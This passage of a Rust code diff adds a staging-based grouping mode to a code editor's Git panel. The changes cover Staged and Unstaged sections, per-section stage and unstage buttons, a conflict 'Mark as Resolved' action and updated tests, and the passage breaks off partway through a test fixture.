         let this = &self.header;
@@ -453,6 +495,10 @@ impl GitHeaderEntry {
             }
             Section::Tracked => !status.is_created(),
             Section::New => status.is_created(),
+            Section::Staged => GitPanel::stage_status_for_entry(status_entry, repo).has_staged(),
+            Section::Unstaged => {
+                GitPanel::stage_status_for_entry(status_entry, repo).has_unstaged()
+            }
         }
     }
     pub fn title(&self) -> &'static str {
@@ -460,6 +506,8 @@ impl GitHeaderEntry {
             Section::Conflict => "Conflicts",
             Section::Tracked => "Tracked",
             Section::New => "Untracked",
+            Section::Staged => "Staged",
+            Section::Unstaged => "Unstaged",
         }
     }
 }
@@ -792,7 +840,7 @@ pub struct GitPanel {
     entries: Vec<GitListEntry>,
     view_mode: GitPanelViewMode,
     tree_expanded_dirs: HashMap<TreeKey, bool>,
-    entries_indices: HashMap<RepoPath, usize>,
+    projected_entries_by_path: HashMap<RepoPath, SmallVec<[ProjectedChangeEntry; 2]>>,
     single_staged_entry: Option<GitStatusEntry>,
     single_tracked_entry: Option<GitStatusEntry>,
     focus_handle: FocusHandle,
@@ -1096,7 +1144,7 @@ impl GitPanel {
                 entries: Vec::new(),
                 view_mode: GitPanelViewMode::from_settings(cx),
                 tree_expanded_dirs: HashMap::default(),
-                entries_indices: HashMap::default(),
+                projected_entries_by_path: HashMap::default(),
                 focus_handle: cx.focus_handle(),
                 fs,
                 new_count: 0,
@@ -1151,7 +1199,18 @@ impl GitPanel {
     }
 
     pub fn entry_by_path(&self, path: &RepoPath) -> Option<usize> {
-        self.entries_indices.get(path).copied()
+        self.projected_entries_by_path
+            .get(path)?
+            .first()
+            .map(|entry| entry.index)
+    }
+
+    fn entry_by_path_in_section(&self, path: &RepoPath, section: Section) -> Option<usize> {
+        self.projected_entries_by_path
+            .get(path)?
+            .iter()
+            .find(|entry| entry.section == section)
+            .map(|entry| entry.index)
     }
 
     pub fn select_entry_by_path(
@@ -1164,7 +1223,7 @@ impl GitPanel {
             return;
         };
 
-        let (repo_path, section) = {
+        let (repo_path, default_section) = {
             let repo = git_repo.read(cx);
             let Some(repo_path) = repo.project_path_to_repo_path(&path, cx) else {
                 return;
@@ -1174,7 +1233,15 @@ impl GitPanel {
                 .status_for_path(&repo_path)
                 .map(|status| status.status)
                 .map(|status| {
-                    if repo.had_conflict_on_last_merge_head_change(&repo_path) {
+                    if GitPanelSettings::get_global(cx).group_by == GitPanelGroupBy::Staging {
+                        if status.is_conflicted() {
+                            Section::Conflict
+                        } else if status.staging().has_staged() {
+                            Section::Staged
+                        } else {
+                            Section::Unstaged
+                        }
+                    } else if repo.had_conflict_on_last_merge_head_change(&repo_path) {
                         Section::Conflict
                     } else if status.is_created() {
                         Section::New
@@ -1185,6 +1252,15 @@ impl GitPanel {
 
             (repo_path, section)
         };
+        let selected_section = self.selected_entry.and_then(|index| {
+            let selected_entry = self.entries.get(index)?.status_entry()?;
+            if selected_entry.repo_path == repo_path {
+                self.section_for_entry_index(index)
+            } else {
+                None
+            }
+        });
+        let section = selected_section.or(default_section);
 
         let mut needs_rebuild = false;
         if let (Some(section), Some(tree_state)) = (section, self.view_mode.tree_state_mut()) {
@@ -1208,7 +1284,10 @@ impl GitPanel {
             self.update_visible_entries(window, cx);
         }
 
-        let Some(ix) = self.entry_by_path(&repo_path) else {
+        let Some(ix) = section
+            .and_then(|section| self.entry_by_path_in_section(&repo_path, section))
+            .or_else(|| self.entry_by_path(&repo_path))
+        else {
             return;
         };
 
@@ -1578,13 +1657,34 @@ impl GitPanel {
     fn move_diff_to_entry(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         maybe!({
             let workspace = self.workspace.upgrade()?;
-
-            if let Some(project_diff) = workspace.read(cx).item_of_type::<ProjectDiff>(cx) {
-                let entry = self.entries.get(self.selected_entry?)?.status_entry()?;
-
-                project_diff.update(cx, |project_diff, cx| {
-                    project_diff.move_to_entry(entry.clone(), window, cx);
-                });
+            let selected_index = self.selected_entry?;
+            let entry = self.entries.get(selected_index)?.status_entry()?.clone();
+            let target =
+                Self::diff_target_for_section(self.section_for_entry_index(selected_index));
+
+            match target {
+                DiffTarget::Staged => {
+                    if let Some(staged_diff) = workspace.read(cx).item_of_type::<StagedDiff>(cx) {
+                        staged_diff.update(cx, |staged_diff, cx| {
+                            staged_diff.move_to_entry(entry, window, cx);
+                        });
+                    }
+                }
+                DiffTarget::Unstaged => {
+                    if let Some(unstaged_diff) = workspace.read(cx).item_of_type::<UnstagedDiff>(cx)
+                    {
+                        unstaged_diff.update(cx, |unstaged_diff, cx| {
+                            unstaged_diff.move_to_entry(entry, window, cx);
+                        });
+                    }
+                }
+                DiffTarget::Uncommitted => {
+                    if let Some(project_diff) = workspace.read(cx).item_of_type::<ProjectDiff>(cx) {
+                        project_diff.update(cx, |project_diff, cx| {
+                            project_diff.move_to_entry(entry, window, cx);
+                        });
+                    }
+                }
             }
 
             Some(())
@@ -1650,6 +1750,14 @@ impl GitPanel {
         self.selected_entry.and_then(|i| self.entries.get(i))
     }
 
+    fn change_entries_by_path(&self) -> impl Iterator<Item = &GitStatusEntry> {
+        // A grouping can project one changed file into multiple list rows.
+        self.entries
+            .iter()
+            .filter_map(GitListEntry::status_entry)
+            .unique_by(|entry| entry.repo_path.clone())
+    }
+
     fn open_diff(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
         if self.active_tab == GitPanelTab::History {
             self.open_selected_history_commit(window, cx);
@@ -1664,11 +1772,15 @@ impl GitPanel {
             return;
         }
         maybe!({
-            let entry = self.entries.get(self.selected_entry?)?.status_entry()?;
+            let selected_index = self.selected_entry?;
+            let entry = self.entries.get(selected_index)?.status_entry()?;
             let workspace = self.workspace.upgrade()?;
             let git_repo = self.active_repository.as_ref()?;
+            let target =
+                Self::diff_target_for_section(self.section_for_entry_index(selected_index));
 
-            if let Some(project_diff) = workspace.read(cx).active_item_as::<ProjectDiff>(cx)
+            if target == DiffTarget::Uncommitted
+                && let Some(project_diff) = workspace.read(cx).active_item_as::<ProjectDiff>(cx)
                 && let Some(project_path) = project_diff.read(cx).active_project_path(cx)
                 && Some(&entry.repo_path)
                     == git_repo
@@ -1682,8 +1794,16 @@ impl GitPanel {
             };
 
             self.workspace
-                .update(cx, |workspace, cx| {
-                    ProjectDiff::deploy_at(workspace, Some(entry.clone()), window, cx);
+                .update(cx, |workspace, cx| match target {
+                    DiffTarget::Uncommitted => {
+                        ProjectDiff::deploy_at(workspace, Some(entry.clone()), window, cx);
+                    }
+                    DiffTarget::Staged => {
+                        StagedDiff::deploy_at(workspace, Some(entry.clone()), window, cx);
+                    }
+                    DiffTarget::Unstaged => {
+                        UnstagedDiff::deploy_at(workspace, Some(entry.clone()), window, cx);
+                    }
                 })
                 .ok();
             self.focus_handle.focus(window, cx);
@@ -2020,10 +2140,9 @@ impl GitPanel {
         cx: &mut Context<Self>,
     ) {
         let entries = self
-            .entries
-            .iter()
-            .filter_map(|entry| entry.status_entry().cloned())
+            .change_entries_by_path()
             .filter(|status_entry| !status_entry.status.is_created())
+            .cloned()
             .collect::<Vec<_>>();
 
         match entries.len() {
@@ -2070,9 +2189,7 @@ impl GitPanel {
             return;
         };
         let to_delete = self
-            .entries
-            .iter()
-            .filter_map(|entry| entry.status_entry())
+            .change_entries_by_path()
             .filter(|status_entry| status_entry.status.is_created())
             .cloned()
             .collect::<Vec<_>>();
@@ -2302,11 +2419,13 @@ impl GitPanel {
                     (stage, repo_paths)
                 }
                 GitListEntry::Header(section) => {
-                    let goal_staged_state = !self.header_state(section.header).selected();
+                    let goal_staged_state = match section.header {
+                        Section::Staged => false,
+                        Section::Unstaged => true,
+                        _ => !self.header_state(section.header).selected(),
+                    };
                     let entries = self
-                        .entries
-                        .iter()
-                        .filter_map(|entry| entry.status_entry())
+                        .change_entries_by_path()
                         .filter(|status_entry| {
                             section.contains(status_entry, &repo)
                                 && GitPanel::stage_status_for_entry(status_entry, &repo).as_bool()
@@ -2318,9 +2437,15 @@ impl GitPanel {
                     (goal_staged_state, entries)
                 }
                 GitListEntry::Directory(entry) => {
-                    let goal_staged_state = match self.stage_status_for_directory(entry, repo) {
-                        StageStatus::Staged => StageStatus::Unstaged,
-                        StageStatus::Unstaged | StageStatus::PartiallyStaged => StageStatus::Staged,
+                    let goal_staged_state = match entry.key.section {
+                        Section::Staged => StageStatus::Unstaged,
+                        Section::Unstaged => StageStatus::Staged,
+                        _ => match self.stage_status_for_directory(entry, repo) {
+                            StageStatus::Staged => StageStatus::Unstaged,
+                            StageStatus::Unstaged | StageStatus::PartiallyStaged => {
+                                StageStatus::Staged
+                            }
+                        },
                     };
                     let goal_stage = goal_staged_state == StageStatus::Staged;
 
@@ -2371,6 +2496,7 @@ impl GitPanel {
                             let repo_paths = entries
                                 .iter()
                                 .map(|entry| entry.repo_path.clone())
+                                .unique()
                                 .collect();
                             if stage {
                                 repo.stage_entries(repo_paths, cx)
@@ -2484,7 +2610,18 @@ impl GitPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        if let Some(selected_entry) = self.get_selected_entry().cloned() {
+        let Some(selected_index) = self.selected_entry else {
+            return;
+        };
+        let Some(selected_entry) = self.entries.get(selected_index).cloned() else {
+            return;
+        };
+
+        if let Some(action) = self.staging_action_for_entry_index(selected_index)
+            && let Some(entry) = selected_entry.status_entry()
+        {
+            self.change_file_stage(action.stage, vec![entry.clone()], cx);
+        } else {
             self.toggle_staged_for_entry(&selected_entry, window, cx);
         }
     }
@@ -2724,9 +2861,7 @@ impl GitPanel {
             cx.background_spawn(async move { commit_task.await? })
         } else {
             let changed_files = self
-                .entries
-                .iter()
-                .filter_map(|entry| entry.status_entry())
+                .change_entries_by_path()
                 .filter(|status_entry| !status_entry.status.is_created())
                 .map(|status_entry| status_entry.repo_path.clone())
                 .collect::<Vec<_>>();
@@ -3970,6 +4105,24 @@ impl GitPanel {
         }
     }
 
+    fn set_group_by_staging(
+        &mut self,
+        _: &SetGroupByStaging,
+        _: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(workspace) = self.workspace.upgrade() {
+            let workspace = workspace.read(cx);
+            let fs = workspace.app_state().fs.clone();
+            cx.update_global::<SettingsStore, _>(|store, _cx| {
+                store.update_settings_file(fs, move |settings, _cx| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Staging);
+                });
+            });
+        }
+    }
+
     fn toggle_tree_view(&mut self, _: &ToggleTreeView, _: &mut Window, cx: &mut Context<Self>) {
         let current_setting = GitPanelSettings::get_global(cx).tree_view;
         if let Some(workspace) = self.workspace.upgrade() {
@@ -4225,13 +4378,17 @@ impl GitPanel {
 
     fn update_visible_entries(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         let path_style = self.project.read(cx).path_style(cx);
+        let selected_change = self.selected_entry.and_then(|index| {
+            let entry = self.entries.get(index)?.status_entry()?;
+            Some((entry.repo_path.clone(), self.section_for_entry_index(index)))
+        });
         let bulk_staging = self.bulk_staging.take();
         let last_staged_path_prev_index = bulk_staging
             .as_ref()
             .and_then(|op| self.entry_by_path(&op.anchor));
 
         self.entries.clear();
-        self.entries_indices.clear();
+        self.projected_entries_by_path.clear();
         self.single_staged_entry.take();
         self.single_tracked_entry.take();
         self.conflicted_count = 0;
@@ -4247,7 +4404,9 @@ impl GitPanel {
 
         let settings = GitPanelSettings::get_global(cx);
         let sort_by = settings.sort_by;
-        let group_by_status = settings.group_by == GitPanelGroupBy::Status;
+        let group_by = settings.group_by;
+        let group_by_file_status = group_by == GitPanelGroupBy::Status;
+        let group_by_staging_state = group_by == GitPanelGroupBy::Staging;
         let is_tree_view = matches!(self.view_mode, GitPanelViewMode::Tree(_));
 
         if let Some(active_repo) = self.active_repository.as_ref() {
@@ -4280,6 +4439,9 @@ impl GitPanel {
         let mut changed_entries = Vec::new();
         let mut new_entries = Vec::new();
         let mut conflict_entries = Vec::new();
+        let mut staged_entries = Vec::new();
+        let mut unstaged_entries = Vec::new();
+        let mut tracked_entries = Vec::new();
         let mut single_staged_entry = None;
         let mut staged_count = 0;
         let mut seen_directories = HashSet::default();
@@ -4318,14 +4480,27 @@ impl GitPanel {
                 diff_stat: entry.diff_stat,
             };
 
+            if !is_conflict && !is_new {
+                tracked_entries.push(entry.clone());
+            }
+
             if staging.has_staged() {
                 staged_count += 1;
                 single_staged_entry = Some(entry.clone());
             }
 
-            if group_by_status && is_conflict {
+            if group_by_staging_state && entry.status.is_conflicted() {
                 conflict_entries.push(entry);
-            } else if group_by_status && is_new {
+            } else if group_by_staging_state {
+                if staging.has_staged() {
+                    staged_entries.push(entry.clone());
+                }
+                if staging.has_unstaged() {
+                    unstaged_entries.push(entry);
+                }
+            } else if group_by_file_status && is_conflict {
+                conflict_entries.push(entry);
+            } else if group_by_file_status && is_new {
                 new_entries.push(entry);
             } else {
                 changed_entries.push(entry);
@@ -4357,8 +4532,8 @@ impl GitPanel {
             }
         }
 
-        if conflict_entries.is_empty() && changed_entries.len() == 1 {
-            self.single_tracked_entry = changed_entries.first().cloned();
+        if tracked_entries.len() == 1 {
+            self.single_tracked_entry = tracked_entries.pop();
         }
 
         if !is_tree_view {
@@ -4375,11 +4550,14 @@ impl GitPanel {
             sort_entries(&mut conflict_entries);
             sort_entries(&mut changed_entries);
             sort_entries(&mut new_entries);
+            sort_entries(&mut staged_entries);
+            sort_entries(&mut unstaged_entries);
         }
 
         let mut push_entry =
             |this: &mut Self,
              entry: GitListEntry,
+             section: Section,
              is_visible: bool,
              logical_indices: Option<&mut Vec<usize>>| {
                 if let Some(estimate) =
@@ -4393,7 +4571,13 @@ impl GitPanel {
 
                 if let Some(repo_path) = entry.status_entry().map(|status| status.repo_path.clone())
                 {
-                    this.entries_indices.insert(repo_path, this.entries.len());
+                    this.projected_entries_by_path
+                        .entry(repo_path)
+                        .or_default()
+                        .push(ProjectedChangeEntry {
+                            section,
+                            index: this.entries.len(),
+                        });
                 }
 
                 if let (Some(indices), true) = (logical_indices, is_visible) {
@@ -4403,15 +4587,19 @@ impl GitPanel {
                 this.entries.push(entry);
             };
 
-        macro_rules! take_section_entries {
-            () => {
-                [
-                    (Section::Conflict, std::mem::take(&mut conflict_entries)),
-                    (Section::Tracked, std::mem::take(&mut changed_entries)),
-                    (Section::New, std::mem::take(&mut new_entries)),
-                ]
-            };
-        }
+        let section_entries = if group_by_staging_state {
+            vec![
+                (Section::Conflict, std::mem::take(&mut conflict_entries)),
+                (Section::Staged, std::mem::take(&mut staged_entries)),
+                (Section::Unstaged, std::mem::take(&mut unstaged_entries)),
+            ]
+        } else {
+            vec![
+                (Section::Conflict, std::mem::take(&mut conflict_entries)),
+                (Section::Tracked, std::mem::take(&mut changed_entries)),
+                (Section::New, std::mem::take(&mut new_entries)),
+            ]
+        };
 
         match &mut self.view_mode {
             GitPanelViewMode::Tree(tree_state) => {
@@ -4422,15 +4610,16 @@ impl GitPanel {
                 // because push_entry mutably borrows self
                 let mut tree_state = std::mem::take(tree_state);
 
-                for (section, entries) in take_section_entries!() {
+                for (section, entries) in section_entries {
                     if entries.is_empty() {
                         continue;
                     }
 
-                    if section != Section::Tracked || group_by_status {
+                    if section != Section::Tracked || group_by != GitPanelGroupBy::None {
                         push_entry(
                             self,
                             GitListEntry::Header(GitHeaderEntry { header: section }),
+                            section,
                             true,
                             Some(&mut tree_state.logical_indices),
                         );
@@ -4442,6 +4631,7 @@ impl GitPanel {
                         push_entry(
                             self,
                             entry,
+                            section,
                             is_visible,
                             Some(&mut tree_state.logical_indices),
                         );
@@ -4455,22 +4645,23 @@ impl GitPanel {
                 self.view_mode = GitPanelViewMode::Tree(tree_state);
             }
             GitPanelViewMode::Flat => {
-                for (section, entries) in take_section_entries!() {
+                for (section, entries) in section_entries {
                     if entries.is_empty() {
                         continue;
                     }
 
-                    if section != Section::Tracked || group_by_status {
+                    if section != Section::Tracked || group_by != GitPanelGroupBy::None {
                         push_entry(
                             self,
                             GitListEntry::Header(GitHeaderEntry { header: section }),
+                            section,
                             true,
                             None,
                         );
                     }
 
                     for entry in entries {
-                        push_entry(self, GitListEntry::Status(entry), true, None);
+                        push_entry(self, GitListEntry::Status(entry), section, true, None);
                     }
                 }
             }
@@ -4495,6 +4686,11 @@ impl GitPanel {
             self.bulk_staging = bulk_staging;
         }
 
+        if let Some((path, section)) = selected_change {
+            self.selected_entry = section
+                .and_then(|section| self.entry_by_path_in_section(&path, section))
+                .or_else(|| self.entry_by_path(&path));
+        }
         self.select_first_entry_if_none(window, cx);
         self.select_last_entry_if_out_of_bounds(window, cx);
 
@@ -4513,6 +4709,8 @@ impl GitPanel {
             Section::New => (self.new_staged_count, self.new_count),
             Section::Tracked => (self.tracked_staged_count, self.tracked_count),
             Section::Conflict => (self.conflicted_staged_count, self.conflicted_count),
+            Section::Staged => (self.entry_count, self.entry_count),
+            Section::Unstaged => (0, self.entry_count),
         };
         if staged_count == 0 {
             ToggleState::Unselected
@@ -4523,6 +4721,59 @@ impl GitPanel {
         }
     }
 
+    fn section_for_entry_index(&self, ix: usize) -> Option<Section> {
+        self.entries.get(..=ix)?.iter().rev().find_map(|entry| {
+            if let GitListEntry::Header(header) = entry {
+                Some(header.header)
+            } else {
+                None
+            }
+        })
+    }
+
+    fn staging_action_for_section(section: Section) -> Option<StagingAction> {
+        match section {
+            Section::Staged => Some(StagingAction {
+                stage: false,
+                icon: IconName::Dash,
+                label: "Unstage",
+            }),
+            Section::Unstaged => Some(StagingAction {
+                stage: true,
+                icon: IconName::Plus,
+                label: "Stage",
+            }),
+            _ => None,
+        }
+    }
+
+    fn staging_action_for_entry_index(&self, ix: usize) -> Option<StagingAction> {
+        self.section_for_entry_index(ix)
+            .and_then(Self::staging_action_for_section)
+    }
+
+    fn diff_target_for_section(section: Option<Section>) -> DiffTarget {
+        match section {
+            Some(Section::Staged) => DiffTarget::Staged,
+            Some(Section::Unstaged) => DiffTarget::Unstaged,
+            _ => DiffTarget::Uncommitted,
+        }
+    }
+
+    fn staging_action_button(
+        id: ElementId,
+        icon: IconName,
+        action: &'static str,
+        disabled: bool,
+    ) -> IconButton {
+        IconButton::new(id, icon)
+            .disabled(disabled)
+            .icon_size(IconSize::Small)
+            .shape(IconButtonShape::Square)
+            .style(ButtonStyle::Subtle)
+            .aria_label(action)
+    }
+
     fn update_counts(&mut self, repo: &Repository) {
         self.show_placeholders = false;
         self.conflicted_count = 0;
@@ -4534,7 +4785,8 @@ impl GitPanel {
         self.entry_count = 0;
         self.diff_stat_total = DiffStat::default();
 
-        for status_entry in self.entries.iter().filter_map(|entry| entry.status_entry()) {
+        let change_entries = self.change_entries_by_path().cloned().collect::<Vec<_>>();
+        for status_entry in change_entries {
             self.entry_count += 1;
             if let Some(diff_stat) = status_entry.diff_stat {
                 self.diff_stat_total.added =
@@ -4545,23 +4797,21 @@ impl GitPanel {
                     .saturating_add(diff_stat.deleted);
             }
 
-            let is_staging_or_staged = GitPanel::stage_status_for_entry(status_entry, repo)
-                .as_bool()
-                .unwrap_or(true);
+            let stage_status = GitPanel::stage_status_for_entry(&status_entry, repo);
 
             if repo.had_conflict_on_last_merge_head_change(&status_entry.repo_path) {
                 self.conflicted_count += 1;
-                if is_staging_or_staged {
+                if stage_status.has_staged() {
                     self.conflicted_staged_count += 1;
                 }
             } else if status_entry.status.is_created() {
                 self.new_count += 1;
-                if is_staging_or_staged {
+                if stage_status.has_staged() {
                     self.new_staged_count += 1;
                 }
             } else {
                 self.tracked_count += 1;
-                if is_staging_or_staged {
+                if stage_status.has_staged() {
                     self.tracked_staged_count += 1;
                 }
             }
@@ -4575,9 +4825,12 @@ impl GitPanel {
     }
 
     pub(crate) fn has_unstaged_changes(&self) -> bool {
-        self.tracked_count > self.tracked_staged_count
-            || self.new_count > self.new_staged_count
-            || self.conflicted_count > self.conflicted_staged_count
+        self.change_entries_by_path()
+            .any(|entry| entry.staging.has_unstaged())
+    }
+
+    fn primary_changes_action_stages(&self) -> bool {
+        self.entry_count == 0 || self.has_unstaged_changes()
     }
 
     fn has_tracked_changes(&self) -> bool {
@@ -4585,7 +4838,8 @@ impl GitPanel {
     }
 
     pub fn has_unstaged_conflicts(&self) -> bool {
-        self.conflicted_count > 0 && self.conflicted_count != self.conflicted_staged_count
+        self.change_entries_by_path()
+            .any(|entry| entry.status.is_conflicted() && entry.staging.has_unstaged())
     }
 
     fn show_error_toast(&self, action: impl Into<SharedString>, e: anyhow::Error, cx: &mut App) {
@@ -5137,12 +5391,11 @@ impl GitPanel {
     }
 
     fn render_git_changes_actions_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        let (text, action, stage, tooltip) =
-            if self.total_staged_count() == self.entry_count && self.entry_count > 0 {
-                ("Unstage All", UnstageAll.boxed_clone(), false, "git reset")
-            } else {
-                ("Stage All", StageAll.boxed_clone(), true, "git add --all")
-            };
+        let (text, action, stage, tooltip) = if self.primary_changes_action_stages() {
+            ("Stage All", StageAll.boxed_clone(), true, "git add --all")
+        } else {
+            ("Unstage All", UnstageAll.boxed_clone(), false, "git reset")
+        };
 
         SplitButton::new(
             ButtonLike::new_rounded_left("git-changes-actions-split-button-left")
@@ -6562,10 +6815,14 @@ impl GitPanel {
         let toggle_state = self.header_state(header.header);
         let section = header.header;
         let weak = cx.weak_entity();
+        let staging_action = Self::staging_action_for_section(section);
+        let staging_conflict = GitPanelSettings::get_global(cx).group_by
+            == GitPanelGroupBy::Staging
+            && section == Section::Conflict;
 
         h_flex()
             .id(id)
-            .cursor_pointer()
+            .when(!staging_conflict, |this| this.cursor_pointer())
             .group(group_name)
             .h(self.list_item_height())
             .w_full()
@@ -6581,14 +6838,26 @@ impl GitPanel {
                     .color(Color::Muted)
                     .size(LabelSize::Small),
             )
-            .child(
+            .child(if staging_conflict {
+                div().into_any_element()
+            } else if let Some(action) = staging_action {
+                Self::staging_action_button(
+                    checkbox_id,
+                    action.icon,
+                    action.label,
+                    !has_write_access,
+                )
+                .tooltip(move |_window, cx| Tooltip::simple(format!("{} all", action.label), cx))
+                .into_any_element()
+            } else {
                 Checkbox::new(checkbox_id, toggle_state)
                     .disabled(!has_write_access)
                     .fill()
-                    .elevation(ElevationIndex::Surface),
-            )
+                    .elevation(ElevationIndex::Surface)
+                    .into_any_element()
+            })
             .on_click(move |_, window, cx| {
-                if !has_write_access {
+                if !has_write_access || staging_conflict {
                     return;
                 }
 
@@ -6626,13 +6895,15 @@ impl GitPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        let staging_action = self.staging_action_for_entry_index(ix);
         let Some(entry) = self.entries.get(ix).and_then(|e| e.status_entry()) else {
             return;
         };
-        let stage_title = if entry.status.staging().is_fully_staged() {
-            "Unstage File"
-        } else {
-            "Stage File"
+        let stage_title = match staging_action {
+            Some(StagingAction { stage: true, .. }) => "Stage File",
+            Some(StagingAction { stage: false, .. }) => "Unstage File",
+            None if entry.status.staging().is_fully_staged() => "Unstage File",
+            None => "Stage File",
         };
         let restore_title = if entry.status.is_created() {
             "Trash File"
@@ -6783,6 +7054,11 @@ impl GitPanel {
             ElementId::Name(format!("entry_{}_{}_checkbox", display_name, ix).into());
 
         let stage_status = GitPanel::stage_status_for_entry(entry, &repo);
+        let section = self.section_for_entry_index(ix);
+        let staging_conflict = settings.group_by == GitPanelGroupBy::Staging
+            && section == Some(Section::Conflict)
+            && status.is_conflicted();
+        let staging_action = self.staging_action_for_entry_index(ix);
         let mut is_staged: ToggleState = match stage_status {
             StageStatus::Staged => ToggleState::Selected,
             StageStatus::Unstaged => ToggleState::Unselected,
@@ -6895,7 +7171,53 @@ impl GitPanel {
                     .flex_none()
                     .occlude()
                     .cursor_pointer()
-                    .child(
+                    .child(if staging_conflict {
+                        Self::staging_action_button(
+                            checkbox_id,
+                            IconName::Check,
+                            "Mark as Resolved",
+                            !has_write_access,
+                        )
+                        .on_click({
+                            let entry = entry.clone();
+                            let this = cx.weak_entity();
+                            move |_, _window, cx| {
+                                this.update(cx, |this, cx| {
+                                    if !has_write_access {
+                                        return;
+                                    }
+                                    this.change_file_stage(true, vec![entry.clone()], cx);
+                                    cx.stop_propagation();
+                                })
+                                .ok();
+                            }
+                        })
+                        .tooltip(move |_window, cx| Tooltip::simple("Mark as Resolved", cx))
+                        .into_any_element()
+                    } else if let Some(action) = staging_action {
+                        Self::staging_action_button(
+                            checkbox_id,
+                            action.icon,
+                            action.label,
+                            !has_write_access,
+                        )
+                        .on_click({
+                            let entry = entry.clone();
+                            let this = cx.weak_entity();
+                            move |_, _window, cx| {
+                                this.update(cx, |this, cx| {
+                                    if !has_write_access {
+                                        return;
+                                    }
+                                    this.change_file_stage(action.stage, vec![entry.clone()], cx);
+                                    cx.stop_propagation();
+                                })
+                                .ok();
+                            }
+                        })
+                        .tooltip(move |_window, cx| Tooltip::simple(action.label, cx))
+                        .into_any_element()
+                    } else {
                         Checkbox::new(checkbox_id, is_staged)
                             .disabled(!has_write_access)
                             .fill()
@@ -6935,8 +7257,9 @@ impl GitPanel {
                                 let tooltip_name = action.to_string();
 
                                 Tooltip::for_action(tooltip_name, &ToggleStaged, cx)
-                            }),
-                    ),
+                            })
+                            .into_any_element()
+                    }),
             )
             .on_click({
                 cx.listener(move |this, event: &ClickEvent, window, cx| {
@@ -7037,6 +7360,13 @@ impl GitPanel {
             StageStatus::Unstaged => ToggleState::Unselected,
             StageStatus::PartiallyStaged => ToggleState::Indeterminate,
         };
+        let staging_action = if settings.group_by == GitPanelGroupBy::Staging {
+            Self::staging_action_for_section(entry.key.section)
+        } else {
+            None
+        };
+        let staging_conflict =
+            settings.group_by == GitPanelGroupBy::Staging && entry.key.section == Section::Conflict;
 
         let name_row = h_flex()
             .min_w_0()
@@ -7081,7 +7411,35 @@ impl GitPanel {
                     .flex_none()
                     .occlude()
                     .cursor_pointer()
-                    .child(
+                    .child(if staging_conflict {
+                        div().into_any_element()
+                    } else if let Some(action) = staging_action {
+                        Self::staging_action_button(
+                            checkbox_id,
+                            action.icon,
+                            action.label,
+                            !has_write_access,
+                        )
+                        .on_click({
+                            let entry = entry.clone();
+                            let this = cx.weak_entity();
+                            move |_, window, cx| {
+                                this.update(cx, |this, cx| {
+                                    if !has_write_access {
+                                        return;
+                                    }
+                                    let list_entry = GitListEntry::Directory(entry.clone());
+                                    this.toggle_staged_for_entry(&list_entry, window, cx);
+                                    cx.stop_propagation();
+                                })
+                                .ok();
+                            }
+                        })
+                        .tooltip(move |_window, cx| {
+                            Tooltip::simple(format!("{} folder", action.label), cx)
+                        })
+                        .into_any_element()
+                    } else {
                         Checkbox::new(checkbox_id, toggle_state)
                             .disabled(!has_write_access)
                             .fill()
@@ -7110,8 +7468,9 @@ impl GitPanel {
                                     StageStatus::Unstaged | StageStatus::PartiallyStaged => "Stage",
                                 };
                                 Tooltip::simple(format!("{action} folder"), cx)
-                            }),
-                    ),
+                            })
+                            .into_any_element()
+                    }),
             )
             .on_click({
                 let key = entry.key.clone();
@@ -7445,6 +7804,7 @@ impl Render for GitPanel {
             .on_action(cx.listener(Self::set_sort_by_name))
             .on_action(cx.listener(Self::set_group_by_none))
             .on_action(cx.listener(Self::set_group_by_status))
+            .on_action(cx.listener(Self::set_group_by_staging))
             .on_action(cx.listener(Self::toggle_tree_view))
             .on_action(cx.listener(Self::increase_font_size))
             .on_action(cx.listener(Self::decrease_font_size))
@@ -8208,7 +8568,7 @@ pub(crate) fn commit_title_exceeds_limit(title: &str, max_length: usize) -> bool
 mod tests {
     use git::{
         repository::repo_path,
-        status::{StatusCode, UnmergedStatus, UnmergedStatusCode},
+        status::{StatusCode, TrackedStatus, UnmergedStatus, UnmergedStatusCode},
     };
     use gpui::{TestAppContext, UpdateGlobal, VisualTestContext, px};
     use indoc::indoc;
@@ -8980,59 +9340,74 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_bulk_staging(cx: &mut TestAppContext) {
+    async fn test_group_by_staging_section_membership_and_order(cx: &mut TestAppContext) {
         use GitListEntry::*;
 
         init_test(cx);
         let fs = FakeFs::new(cx.background_executor.clone());
         fs.insert_tree(
-            "/root",
+            path!("/project"),
             json!({
-                "project": {
-                    ".git": {},
-                    "src": {
-                        "main.rs": "fn main() {}",
-                        "lib.rs": "pub fn hello() {}",
-                        "utils.rs": "pub fn util() {}"
-                    },
-                    "tests": {
-                        "test.rs": "fn test() {}"
-                    },
-                    "new_file.txt": "new content",
-                    "another_new.rs": "// new file",
-                    "conflict.txt": "conflicted content"
-                }
+                ".git": {},
+                "conflict.rs": "conflicted content",
+                "new.rs": "new content",
+                "partial.rs": "partial content",
+                "partial_new.rs": "partial new content",
+                "staged.rs": "staged content",
+                "unstaged.rs": "unstaged content",
             }),
         )
         .await;
 
         fs.set_status_for_repo(
-            Path::new(path!("/root/project/.git")),
+            path!("/project/.git").as_ref(),
             &[
-                ("src/main.rs", StatusCode::Modified.worktree()),
-                ("src/lib.rs", StatusCode::Modified.worktree()),
-                ("tests/test.rs", StatusCode::Modified.worktree()),
-                ("new_file.txt", FileStatus::Untracked),
-                ("another_new.rs", FileStatus::Untracked),
-                ("src/utils.rs", FileStatus::Untracked),
                 (
-                    "conflict.txt",
+                    "conflict.rs",
                     UnmergedStatus {
                         first_head: UnmergedStatusCode::Updated,
                         second_head: UnmergedStatusCode::Updated,
                     }
                     .into(),
                 ),
+                ("new.rs", FileStatus::Untracked),
+                (
+                    "partial.rs",
+                    TrackedStatus {
+                        index_status: StatusCode::Modified,
+                        worktree_status: StatusCode::Modified,
+                    }
+                    .into(),
+                ),
+                (
+                    "partial_new.rs",
+                    TrackedStatus {
+                        index_status: StatusCode::Added,
+                        worktree_status: StatusCode::Modified,
+                    }
+                    .into(),
+                ),
+                ("staged.rs", FileStatus::index(StatusCode::Modified)),
